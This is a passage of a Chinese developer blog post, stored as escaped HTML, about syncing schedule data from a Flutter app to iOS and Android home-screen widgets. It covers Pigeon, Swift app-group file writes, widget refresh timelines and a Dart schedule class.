class=\"p\"\u003e(),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecopyrightHeader:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pigeon_bridge/copyright_header.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eFileToGroupID\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efileName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eappid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003efileName\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eHostApi\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eabstract\u003c/span\u003e \u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eSaveToGroupIdSwiftApi\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003egetHostLanguage\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"kd\"\u003easync\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003esaveToGroupId\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eabstract\u003c/span\u003e \u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eSaveToGroupIdFlutterApi\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003esaveToGroupId\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接下来就需要在 iOS 端实现这个实现。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-swift\" data-lang=\"swift\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e \u003cspan class=\"nf\"\u003esaveToGroupId\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eescaping\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eResult\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nb\"\u003eBool\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;)\u003c/span\u003e \u003cspan class=\"p\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan class=\"nb\"\u003eVoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nv\"\u003efileManager\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nv\"\u003efileURL\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtainerURL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforSecurityApplicationGroupIdentifier\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e \u003cspan class=\"p\"\u003e==\u003c/span\u003e \u003cspan class=\"kc\"\u003enil\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eAppIdFailedError\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"bp\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e\\(\u003c/span\u003e\u003cspan class=\"nb\"\u003eString\u003c/span\u003e\u003cspan class=\"si\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edescribing\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e?.\u003c/span\u003e\u003cspan class=\"n\"\u003eabsoluteString\u003c/span\u003e\u003cspan class=\"si\"\u003e))\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003efileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efileExists\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eatPath\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e!.\u003c/span\u003e\u003cspan class=\"n\"\u003eabsoluteString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e!\u003c/span\u003e \u003cspan class=\"n\"\u003efileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eremoveItem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e!)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e!.\u003c/span\u003e\u003cspan class=\"n\"\u003eappendingPathComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efileName\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[.\u003c/span\u003e\u003cspan class=\"n\"\u003eatomic\u003c/span\u003e\u003cspan class=\"p\"\u003e,]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"k\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eAppIdFailedError\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e(.\u003c/span\u003e\u003cspan class=\"n\"\u003efailure\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFlutterError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;AppIdFailedError\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t get the folder with appid\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;You should check whether your app group id spells wrong.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e(.\u003c/span\u003e\u003cspan class=\"n\"\u003efailure\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFlutterError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;WriteFailedError\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e\\(\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"si\"\u003e)\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elocalizedDescription\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"bp\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Write complete!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e(.\u003c/span\u003e\u003cspan class=\"n\"\u003esuccess\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这样,在主程序数据更新的时候,通过执行这个函数,我们可以将更新后的数据同步到代码公共区域,然后,使用\u003ca class=\"link\" href=\"https://pub.dev/packages/home_widget\" target=\"_blank\" rel=\"noopener\"\n \u003ehome_widget\u003c/a\u003e插件,来让小部件强制刷新。\u003c/p\u003e\n\u003ch3 id=\"数据处理\"\u003e数据处理\u003c/h3\u003e\n\u003cp\u003e这里处理方式双端大差不差:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e读取课程表文件,考试信息文件,物理实验文件。\u003c/li\u003e\n\u003cli\u003e从这些文件中提取出当日/明日信息,并转化为用于显示的日程类。\u003c/li\u003e\n\u003cli\u003e日程类渲染展示。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e此外,苹果部件在渲染前还包含一步,也就是创造小部件时间轴,根据时间删除过去的日程。这个功能安卓没实现,因为安卓后台刷新更加玄学。或者这么说,所有平台的后台刷新都是玄学级别,不如苹果小部件的时间轴可以控制。\u003c/p\u003e\n\u003ch3 id=\"小部件刷新\"\u003e小部件刷新\u003c/h3\u003e\n\u003cp\u003e安卓的是靠一个内置的时钟,每十八分钟更新。不过这玩意玄学能不能更新,只能看天。\u003c/p\u003e\n\u003cp\u003e苹果是按照时间轴机制刷新的,每天半夜根据文件内容,生成当天的时间轴,包括今天和明天的内容。关于时间轴请查看\u003ca class=\"link\" href=\"https://developer.apple.com/documentation/widgetkit/keeping-a-widget-up-to-date\" target=\"_blank\" rel=\"noopener\"\n \u003e苹果的官方介绍\u003c/a\u003e。我的处理方法是,先获取数据,整理后根据各个日程的下课时间来决定时间轴上面的坐标,对应坐标是当时还在进行的课程和尚未开始的课程,最后进行刷新。\u003c/p\u003e\n\u003cp\u003e在此之前,我打算使用一个后台刷新插件,名字叫 \u003ca class=\"link\" href=\"https://pub.dev/packages/background_fetch\" target=\"_blank\" rel=\"noopener\"\n \u003ebackground_fetch\u003c/a\u003e,通过这个东西打算在后台让程序运行,进而在主程序主页的日程组件更新日程的时候,顺带更新小部件的数据。但是后台刷新在任何平台都是玄学,加上开学后有个叫跑步的玩意彻底让体育小插件没有存在的意义,顺便带走了后台刷新的意义,于是就这样了()\u003c/p\u003e\n\u003ch2 id=\"程序主页日程处理\"\u003e程序主页日程处理\u003c/h2\u003e\n\u003cp\u003e把课程信息,考试信息和物理实验信息统合到一个日程表(在竞争品那边叫课表)是我最开始写 PDA 时候的愿望。在 v1.1.0 版本中,通过对其他日历程序的东西,终于实现了。\u003c/p\u003e\n\u003ch3 id=\"统一的日程格式\"\u003e统一的日程格式\u003c/h3\u003e\n\u003cp\u003e首先,我们需要做到一个统一的日程格式,通过这个来方便显示。这个类称为\u003ccode\u003eHomeArrangement\u003c/code\u003e,主要包括日程名称,老师,地点,开始时间和结束时间。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eHomeArrangement\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003estatic\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eformat\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;yyyy-MM-dd HH:mm:ss\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eteacher\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eplace\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;start_time\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003estartTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eJsonKey\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ename:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;end_time\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eendTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003estartTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eendTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eendTimeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e本程序中的数据来源,都需要按照这个格式,根据天数,返回对应天数的日程。接下来,我们按照我们数据来源,来看到主页上的东西。\u003c/p\u003e\n\u003ch3 